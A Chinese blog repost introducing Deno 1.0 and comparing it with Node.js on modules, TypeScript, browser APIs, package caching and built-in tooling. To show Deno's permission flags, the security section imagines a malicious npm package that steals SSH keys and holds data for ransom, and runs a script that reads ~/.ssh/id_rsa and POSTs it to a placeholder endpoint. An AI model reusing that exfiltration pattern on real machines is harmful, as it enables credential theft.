Deno 正式发布,Node.js 会被颠覆吗?

FightingCoder

共 13428字,需浏览 27分钟

 · 2020-05-19

阅读本文大概需要 10 分钟。


2020 年 5 月 14 日,可能是前端开发史上里程碑式的一天,因为一个名为 Deno 的库 1.0 版本正式发布了。

f0297b466f41fb593cce684703e1e951.webp

Deno 是个什么玩意?

有人说这可能是一个颠覆 Node.js (后文简称 Node)的库,能颠覆整个前端开发生态的库。

这么吊吗?这是谁开发的?这个库到底有啥用?

其实 Deno 就是 Node 的爸爸 Ryan Dahl 主导开发的,主要原因是他觉得最早在开发 Node有很多设计不好的地方,于是....

好,这篇文章就来介绍一下 Deno、Node 的开发者以及 Deno 和 Node 的生态和用法上的不同之处吧。

Node.js 之父是谁?

43787b8c6d57cfdb3b1a02ac879188b0.webp

没错!就是这个叫 Ryan Dahl 的男人在 2009 年创造了 Node。你看,其实也不是说大神就都没头发,这位大神毛发不是挺旺盛的嘛!不过既然是在 2009 年缔造的 Node,那么就不得不吐槽那时候的 JavaScript 了。在 2009 年的 JavaScript 啥样大家都知道,ES5.0(不成熟的ES5)在 09 年年底才刚刚发布,而 ES 5.1(咱们现在用的ES5)在 2011 年 6 月才开始发布并成为 ISO 国际标准。

想象一下即使现在有了 ES6 - ES2020 这么新的版本,JavaScript 依然经常被大家拿来吐槽,更别提那个ES5都没普及的年代了。在那时候既没有合适的异步方式也没有模块化,也没有什么包管理啥的。那么这样的JS写大型项目或服务端项目简直就是一场灾难,于是乎就产生了各种模块化方案(Node采用了 CommonJS),也有了 npm、node_modules 等各种历史遗留问题。一方面是当年的 Ryan Dahl 技术没有现在好,思想也没有现在这么全面、另一方面当年的 JavaScript 本来就很坑,用它创造出来的东西肯定不会很完美的。

但是如今的 JavaScript 生态越来越发展壮大,虽然现在还是很坑,不过比起以前的 JavaScript 来说简直强百倍。不仅有了自己的模块化,还有了Promise、Proxy、Bigint、块级作用域等一系列非常实用的特性、而且还有更好的 TypeScript 来为 JavaScript 负重前行。而 Node 的历史包袱实在太重,即使想支持一下标准的模块化都不得不把 .js 变成 .mjs 以保持兼容。

Deno 起因

Node 之父并没有一直在维护 Node,他后来离开了 Node 加入了谷歌,在谷歌他研究的主要方向就是机器学习里面的图像着色和超解像技术。虽然取得了一定的成就,但是 Ryan Dahl 认为现在的机器学习还很简单,离真正的人工智能还有着十万八千里。但是这并不妨碍人们去提升机器学习的技术,因为他相信,总有一天,人工智能会变得越来越完善。

提到机器学习和人工智能就不得不提 Python,Node 他爸始终不是很喜欢 Python,久而久之,就想搞一个 JavaScript 的人工智能开发框架(以后前端可能还得再学个人工智能)。等到他再回过头捡起 Node,发现这个项目已经背离了他的初衷,有一些无法忽视的问题。

这些啥破玩意?那个又是些什么鬼?原来,他觉得当初自己创建 Node 时失误实在是太多了,他甚至还在 2018 年的 JS 开发者会上列出了自己设计 Node 的十个错误:

没有坚持使用 Promise没有注重安全性没有从 GYP 构建系统转到 GN继续使用 GYP,没有提供 FFIpackage.json 以及依赖了 npm在任何地方都可以 require("somemodule")package.json 提供了错误的 module 概念设计了软件界黑洞 node_modulesrequire("module")可以不写 .jsindex.js

为了弥补这些错误,他研发了一个新的项目,用来解决他的十个痛点(其实远远不止十个),这个项目就是 Deno。

Deno 的实现

Node 的底层依赖的是 C++,那 Deno 一样吗?

答案是否定的,一部分程序员可能还记得 Deno 一开始依赖的是 Go 语言,这曾经在 GoLang 社区掀起了不小的波澜。但是好景不长,后来换成了 Rust。然后好多人借机黑 Go 吹 Rust 了一番。

Deno 的名字

细心的朋友可能会发现 deno 这四个字母就是 node 的四个字母两两颠倒了一下:

de + no = Denono + de = Node

颠倒 Node 字母的寓意是要颠覆Node吗?

其实也差不多,它的意思是:Destroy Node (毁灭Node!

看来 Ryan Dahl 对他的Deno很有信心,我是希望它能真的干掉 Node 的,因为它的优点实在是太过于突出啦!

那么接下来我们就来看一看Deno的优势都有哪些。

Deno 的优势

内置 tsc 引擎,可以直接运行 TypeScript 代码(还是要先编译成 JavaScript)。这就不用你每次编写完 TypeScript 代码还要去手动去编译了,而且也不用再去搭建什么ts-node之类的了,方便你我他。它的内部会根据文件后缀名判断,如果是 .ts 后缀名,就先调用TS编译器,将其编译成 JavaScript;如果是.js后缀名,就直接传入 V8 引擎运行。

由于是用 Rust 语言开发的,Rust 原生支持 WebAssembly,所以它也能直接运行 WebAssembly。它的异步操作不使用 libuv 这个库,而是使用 Rust 的 Tokio 库来实现 event loop。

那么为什么不像 Node 一样用 C++ 而是选择用Rust呢?主要是因为 Rust 提供了很多现成的模块,对于 Deno 来说,可以节约很多开发时间。也许是看到了 Rust 提供了很多现成模块,Deno 也决定在自己的项目中添加许多现成模块。

Deno 具有安全控制,默认情况下脚本不具有读写权限。如果脚本未授权,就读写文件系统或网络,会报错。想要读写文件系统的话必须使用要参数,显式打开权限才可以。Ryan 在总结 Node 的十个错误时曾说:V8 引擎本身有很好的 sandbox 架构,但是有时候 Node 本身却没有好好利用,例如有可以直接读取 Memory 的例子,或者 linter 可以直接使用网络功能等的漏洞。从 npm 下载了一个包就任由他运行了,这其中存在着很大的安全隐患。

Deno 支持 Web API,尽量跟浏览器保持一致。它提供 window 这个全局对象,同时支持 fetch、webCrypto、worker 等 Web 标准,也支持 onload、onunload、addEventListener 等事件操作函数。不像Node,Web API和Node的API不一致只会增加开发者的学习成本。以后window全局对象就可以不仅仅只局限于浏览器环境啦!

Deno只支持ES模块,跟浏览器的模块加载规则一致。既没有 npm,也没有 node_modules这个无底洞,同时不支持 CommonJS 模块,也不需要 package.json 文件。所有模块通过URL加载,比如 import vue from "https://.vue.org"(绝对地址)或 import vue from './vue.runtime.js'(相对地址)。因此,Deno 不需要一个中心化的模块储存系统,可以从任何地方加载模块。但是,Deno 下载模块以后,依然会有一个总的目录,在本地缓存模块,因此可以离线使用。也就是说其实还是有一个类似于 node_modules 的文件夹。

Deno 内置了开发者需要的各种功能,不再需要外部工具。打包、格式清理、测试、安装、文档生成、linting、脚本编译成可执行文件等,都有专门命令,不知道会不会在干掉 Node 的路上顺便把 Webpack 也给干掉。

Deno 的劣势

虽然这么一对比,感觉 Node.js 完全不是对手,但是有一点是 Deno 暂时望尘莫及的,那就是巨大的生态。

就像 C# 和 Java 一样,他们真的差距那么巨大吗?其实并没有吧,但是流行度差这么多有很多原因是因为生态。

就像华为想搞自己的鸿蒙系统,即使真的能比安卓优秀,但是安卓巨大的生态就足够领先很多年。当年 Windows Phone 系统不就是这么输的么?啥软件都没有,自然没人愿意去买 Windows Phone 手机。

Ryan 说了,Deno 现在不打算对 Node 做兼容处理,也就是说很多东西在 Node 能用但是在 Deno 上用不了,能不能真的干掉 Node 就要看广大造轮子爱好者们了,看看他们愿不愿意在 Deno 身上再造一个。

如果 React、Vue 以后都从 Deno 身上建生态了,那么 Deno 的前途就真的光明了,希望那一天能够早点到来。

对比

的确,Deno 和 Node.js 形态很相似,要解决的问题似乎也相同,那他们到底有啥区别,这一切究竟是道德的沦丧还是 ry (作者)人性的扭曲,让我们走进本篇文章,一探究竟。

Deno VS Node


NodeDeno
API 引用方式模块导入全局对象
模块系统CommonJS & 新版 node 实验性 ES ModuleES Module 浏览器实现
安全无安全限制默认安全
Typescript第三方,如通过 ts-node 支持原生支持
包管理npm + node_modules原生支持
异步操作回调Promise
包分发中心化 npmjs.com去中心化 import url
入口package.json 配置import url 直接引入
打包、测试、格式化第三方如 eslint、gulp、webpack、babel 等原生支持

1.内置 API 引用方式不同

Node 模块导入

Node 内置 API 通过模块导入的方式引用,例如:

const fs =require("fs");fs.readFileSync("./data.txt");

Deno 全局对象

而 Deno 则是一个全局对象 Deno 的属性和方法:

Deno.readFileSync("./data.txt");

具体 Deno 有哪些方法,我们可以通过 repl 看一下:

deno # 或 deno repl

进入 repl 后,输入 Deno 回车,我们可以看到:

{Buffer:[Function:Buffer], readAll:[AsyncFunction: readAll], readAllSync:[Function: readAllSync], writeAll:[AsyncFunction: writeAll], writeAllSync:[Function: writeAllSync],# .....}

这种处理的方式好处是简单、方便,坏处是没有分类,想查找忘记的 API 比较困难。总体来说见仁见智。

2.模块系统

我们再来看一下模块系统,这也是 Deno 和 Node 差别最大的地方,同样也是 Deno 和 Node 不兼容的地方。

Node CommonJS 规范

我们都知道 Node 采用的是 CommonJS[1] 规范,而 Deno 则是采用的 ES Module 的浏览器实现,那么我们首先来认识一下:

ES Module 的浏览器实现

具体关于 ES Module[2] 想必大家都早已熟知,但其浏览器实现可能大家还不是很熟悉,所以我们先看一下其浏览器实现:

eno 的模块规范

Deno 完全遵循 es module 浏览器实现,所以 Deno 也是如此:

// 支持import*as fs from"https://deno.land/std/fs/mod.ts";import{ deepCopy }from"./deepCopy.js";import foo from"/foo.ts";
// 不支持import foo from"foo.ts";import bar from"./bar";// 必须指定扩展名

我们发现其和我们平常在 webpack 或者 ts 使用 es module 最大的不同

可以通过 import url 直接引用线上资源;资源不可省略扩展名和文件名。

关于第 1 点,争议非常大,有人很看好,觉得极大的扩展了 Deno 库的范围;有人则不太看好,觉得国内网速的原因,并不实用。大家的看法如何,欢迎在评论区发表 ?

3. 安全

如果模块规范是 Node 和 Deno 最大的不同,那么对安全的处理,则是另外一个让人摸不着头脑的地方。

模拟盗号

在介绍之前我们先思考一下这个场景会不会出现:

我做了一个基于命令行的一键上网工具 breakwall,每月 1 个 G 免费流量,然后将压缩后的 JS 代码发布到 npm 上,然后后在各种渠道宣传一波。

羊毛党兴高彩烈的 cnpm install -g breakwall,然后每次使用的时候,我偷偷的将诸位的 ssh 密钥和各种能偷的文档及图片偷偷上传到我的服务器,在设定期限到期后,删除电脑上资料,留下一句拿钱换资料,仅支持比特币。

默认安全的 Deno

如果你觉得以上情况有可能出现,则会觉得下面的功能很实用。我们先用 Deno 执行以下代码:

// index.jslet rsa =Deno.readFileSync(Deno.dir("home")+"/.ssh/id_rsa");
rsa =newTextDecoder().decode(rsa);
fetch("http://jsonplaceholder.typicode.com/posts/1",{ method:"POST", body: JSON.stringify(rsa)}).then((res)=> res.json()).then((res)=> console.log("密钥发送成功,嘿嘿嘿?"));
console.log("start breakwall...");

PS: --unstable 是由于 Deno.dir API 不稳定

> deno run --unstable index.js

我们将会得到如下报错信息:

> deno run --unstable  index.jserror:UncaughtPermissionDenied: access to environment variables, run again with the --allow-env flag...

意思就是权限异常,需要访问环境变量,需要加上 --allow-env,我们加上这个参数再试一下。

> deno run --unstable --allow-env index.jserror:UncaughtPermissionDenied: read access to "/Users/zhangchaojie/.ssh/id_rsa", run again with the --allow-read flag...

如此反复,还需加上 --allow-read--allow-net ,最终的结果是:

> deno run --unstable --allow-env --allow-read --allow-net  index.jsstart breakwall...密钥发送成功,嘿嘿嘿?

经过一番折腾,总算是发送成功了,要想盗取密钥实属不易。

白名单

那有人就说了,如果我的应用确实需要访问网络和文件,但是有不想让它访问 .ssh 文件有没有办法?

当然有了,我们可以给 --allow-read 和 --allow-net 指定白名单,名单之外都不可访问,例如:

> deno run --unstable --allow-env --allow-read --allow-net=https://www.baidu.com  index.jsstart breakwall...error:UncaughtPermissionDenied: network access to "http://jsonplaceholder.typicode.com/posts/1", run again with the --allow-net flag    at unwrapResponse ($deno$/ops/dispatch_json.ts:43:11)    at Object.sendAsync ($deno$/ops/dispatch_json.ts:98:10)    at async fetch ($deno$/web/fetch.ts:591:27)

简化参数

如果确认是没问题,或者是自己开发软件时,图个方便,可以直接使用 -A 或 --allow-all 参数允许所有权限:

> deno -A --unstable index.jsstart breakwall...密钥发送成功,嘿嘿嘿?

安全这方面见仁见智,有人觉得是多余,有人觉得很好用,极大的增强了安全性。如果你属于觉得这个功能多余的,可以 deno run -A xxx 即可。

4. 兼容浏览器 API

很多人不理解,为什么你一个服务端语言要兼容浏览器 API,以及怎么兼容。

为什么要兼容浏览器 API

关于为什么,我举个栗子大家就明白了:在设计 Node 之处,关于输出函数本来叫 print 之类的,后来有人提议为什么不叫 console.log,ry 觉得挺不错,于是就接纳了意见。

但是,这个设计并不是刻意为之,而 Deno 的设计则可以为之,通过与浏览器 API 保持一致,来减少大家的认知

怎么兼容浏览器 API

概念上兼容

模块系统,从上面介绍看出 Deno 是完全遵循浏览器实现的;默认安全,当然也不是自己创造的概念,w3c 早已做出浏览器权限[3]的规定,我们在做小程序的时候尤为明显,需要获取各种权限;对于异步操作返回 Promise;使用 ArrayBuffer 处理二进制;等等...

存在 window 全局变量

console.log(window ===this, window ===self, window === globalThis);

实现了 WindowOrWorkerGlobalScope[4] 的全部方法

具体方法列表,我们可以参考:lib.deno.shared_globals.d.ts[5] 和 lib.deno.window.d.ts[6]

// 请求方法fetch("https://baidu.com");
// base64 转化let encodedData = btoa("Hello, world");// 编码let decodedData = atob(encodedData);// 解码
// 微任务queueMicrotask(()=>{ console.log(123);});
// 等等...

大趋势

总体而言,如果服务端和浏览器端存在相同概念,Deno 就不会创造新的概念。这一点其实 Node 也在做,新的 node 14.0 CHANGELOG[7] 就也提及要实现 Universal JavaScript 和 Spec compliance and Web Compatibility的思想,所以这点大家应该都会接受吧,毕竟大势所趋趋势。

5. 支持 Typescript

不管你喜欢与否,2020 年了,必须学习 TS 了(起码在面试的时候是亮点)。学完之后你才会明白王境泽定律真的无处不在。

// index.tslet str:string="王境泽定律";str =132;
> deno run index.tserror TS2322:Type'123'isnot assignable to type 'string'.
file:///Users/zhangchaojie/Desktop/index.ts:2:1
2 str =123~~~

6. 去 node_modules

Deno 没有 node_modules,那么它是怎么进行包管理的呢?我们先看下面的例子

// index.jsimport{ white, bgRed }from"https://deno.land/std/fmt/colors.ts";
console.log(bgRed(white("hello world!")));
> deno run index.jsDownload https://deno.land/std/fmt/colors.tsCompile https://deno.land/std/fmt/colors.tshello world!

我们看到其有 Download 和 Compile 两个步骤,我们会产生几个疑问:

1、每次执行都要下载吗?

解:我们只需要再执行一次就能明白,不需要每次下载。

> deno run index.jshello world!

2、Download 和 Compile 的文件在哪里呢?

解:我们会发现,当前执行的目录,并没有 Download 和 Compile 文件,那文件放在哪里呢,我们首先来看一下 deno --help 命令:

> deno --helpSUBCOMMANDS:# ...info           Show info about cache or info related to source file
# ...ENVIRONMENT VARIABLES: DENO_DIR Set deno's base directory (defaults to $HOME/.deno)

deno info 命令展示了依赖关系,类似 package.json

> deno info index.jslocal:/Users/zhangchaojie/Desktop/index.jstype:JavaScriptdeps:file:///Users/zhangchaojie/Desktop/index.js└── https://deno.land/std/fmt/colors.ts

DENO_DIR 则为实际的安装和编译目录,相当于 node_modules,默认为 $HOME/.deno(命令提示是这样的,但实际需要指定一下环境变量 export DENO_DIR=$HOME/.deno),我们看一下:

> tree $HOME/.deno/Users/zhangchaojie/.deno├── deps└── https└── deno.land├──3574883d8acbaf00e28990ec8e83d71084c4c668c1dc7794be25208c60cfc935└──3574883d8acbaf00e28990ec8e83d71084c4c668c1dc7794be25208c60cfc935.metadata.json└── gen└── https└── deno.land└── std└── fmt├── colors.ts.js├── colors.ts.js.map└── colors.ts.meta
8 directories,5 files

3、没网络了怎么办?

我们有些场景是将本地写好的代码部署到没有网络的服务器,那么当执行 deno run xxx 时,就是提示 error sending request。

解:将上面的缓存目录内容,直接拷贝到服务器并指定环境变量到其目录即可。

4、依赖代码更新了怎么办?

解:当依赖模块更新时,我们可以通过 --reload 进行更新缓存,例如:

> deno run --reload index.js

我们还可以通过白名单的方式,只更新部分依赖。例如:

> deno run --reload=https://deno.land index.js

5、仅缓存依赖,不执行代码有办法吗?

解:有的,我们可以通过 deno cache index.js 进行依赖缓存。

6、多版本怎么处理?

解:暂时没有好的解决方案,只能通过 git tag 的方式区分版本。

7.标准模块 与 node API 兼容

我们通过第 1 点可以看到,其实 Deno 的 API 相对于 Node 其实是少一些的,通过其文件大小也能看出来:

> ll /usr/local/bin/node /Users/zhangchaojie/.local/bin/deno-rwxr-xr-x  142M/Users/zhangchaojie/.local/bin/deno-rwxr-xr-x  170M/usr/local/bin/node

那这些少的 API 只能自己写或者求助于社区吗?

Deno 对于自身相对于 Node 少的和社区中常用的功能,提供了标准模块[8],其特点是不依赖非标准模块的内容,达到社区内的模块引用最后都收敛于标准模块的效果。例如:

// 类似 node 中 chalk 包import{ bgRed, white }from"https://deno.land/std/fmt/colors.ts";
// 类似 node 中的 uuid 包import{ v4 }from"https://deno.land/std/uuid/mod.ts";

同时为了对 node 用户友好,提供了 node API 的兼容

import*as path from"https://deno.land/std/node/path.ts";import*as fs from"https://deno.land/std/node/fs.ts";
console.log(path.resolve('./','./test'))

所以,大家在为 Deno 社区做贡献的时候,首先要看一下标准模块有没有提供类似的功能,如果已经提供了可以进行引用。

8.异步操作

根据 ry 自己是说法,在设计 Node 是有人提议 Promise 处理回调,但是他没听,用他自己的话说就是愚蠢的拒绝了。

Node 用回调的方式处理异步操作、Deno 则选择用 Promise

// node 方式const fs =require("fs");fs.readFile("./data.txt",(err, data)=>{if(err)throw err;  console.log(data);});

另外 Deno 支持 top-level-await,所以以上读取文件的代码可以为:

// deno 方式const data = await Deno.readFile("./data.txt");console.log(data);

Node 关于这方面也在一直改进,例如社区上很多 promisify 解决方案,通过包裹一层函数,实现目的。例如:

// node API promisifyconst{ promisify }=require("es6-promisify");const fs =require("fs");
// 没有 top-level-await,只能包一层async function main(){const readFile = promisify(fs.readFile);const data = await readFile("./data.txt"); console.log(data);}
main();

9.单文件分发

我们知道 npm 包必须有 package.json 文件,里面不仅需要指明 main 或 module 或 browser 等字段来标明入口文件,还需要指明 name 、license 、description 等字段来说明这个包。

ry 觉得这些字段扰乱了开发者的视听,所以在 deno 中,其模块不需要任何配置文件,直接是 import url 的形式。

10.去中心化仓库

对于 www.npmjs.com[9] 我们肯定都不陌生,它是推动 node 蓬勃发展的重要支点。但作者认为它是中心化仓库,违背了互联网去中心化原则。

所以 Deno 并没有一个像 npmjs.com 的仓库,通过 import url 的方式将互联网任何一处的代码都可以引用。

PS:Deno 其实是有个基于 GitHub 的第三方模块集合[10]

11.去开发依赖

我们在写一个 Node 库或者工具时,开发依赖是少不了的,例如 babel 做转化和打包、jest 做测试、prettier 做代码格式化、eslint 做代码格式校检、gulp 或者 webpack 做构建等等,让我们在开发前就搞得筋疲力尽。

deno 通过内置了一些工具,解决上述问题。

deno bundle:打包命令,用来替换 babelgulp 一类工具: 例如:deno bundle ./mod.tsdeno fmt:格式化命令,用来替换 prettier 一类工具,例如:deno fmt ./mod.tsdeno test:运行测试代码,用来替换 jest 一类工具,例如 deno test ./test.tsdeno lint:代码校检(暂未实现),用来替换 eslint 一类工具,例如:deno lint ./mod.ts

后记

就像小时候一直幻想的炸弹始终没能炸了学校,技(轮)术(子)的进(制)步(造)一直也未停止过。不论我们学的动或者学不动,技术就在那里,不以人的意志为转移。

至于 Deno 能不能火,我个人觉得起码一两年内不会有太大反响,之后和 Node 的关系有可能像 Vue 和 React,有人喜欢用 Deno,觉得比 Node 好一万倍,有人则喜欢 Node ,觉得 Node 还能再战 500 年。至于最终学不学还看自己。

再后记

看完这些内容,我也自己去试了试 Deno,感觉,的确是解决了前端生态中的很多痛点。

我以后或许应该会站队 Deno 了。

原文

Node 之父重构的 Deno 终于发布了,它终究会取代 Node 吗?作者:手撕红黑树 链接:https://juejin.im/post/5ebd3112f265da7bd802bdd7Deno 正式发布,彻底弄明白和 Node 的区别 作者:超杰_ 链接:https://juejin.im/post/5ebcad19f265da7bb07656c7

转载来源

以上内容来自掘金「手撕红黑树」与「超杰_」的两篇文章,转载请联系原作者获取授权。

References

[1] CommonJS: https://javascript.ruanyifeng.com/nodejs/module.html
[2] ES Module: https://es6.ruanyifeng.com/#docs/module
[3] 浏览器权限: https://w3c.github.io/permissions/#permission-registry
[4] WindowOrWorkerGlobalScope: https://developer.mozilla.org/zh-CN/docs/Web/API/WindowOrWorkerGlobalScope
[5] lib.deno.shared_globals.d.ts: https://github.com/denoland/deno/blob/master/cli/js/lib.deno.shared_globals.d.ts
[6] lib.deno.window.d.ts: https://github.com/denoland/deno/blob/master/cli/js/lib.deno.window.d.ts
[7] node 14.0 CHANGELOG: https://github.com/nodejs/node/blob/master/doc/changelogs/CHANGELOG_V14.md
[8] 标准模块: https://deno.land/std/
[9] www.npmjs.com: http://www.npmjs.com
[10] 第三方模块集合: https://deno.land/x


推荐阅读

1

浅度测评:requests、aiohttp、httpx 我应该用哪一个?

2

当你无聊时,可以玩玩 GitHub 上这个开源项目

3

200 行代码实现一个滑动验证码

4

如何用一条命令将网页转成电脑 App


好文和朋友一起看~
浏览 38
点赞
评论
收藏
分享

手机扫一扫分享

举报
评论
图片
表情
推荐
点赞
评论
收藏
分享

手机扫一扫分享

举报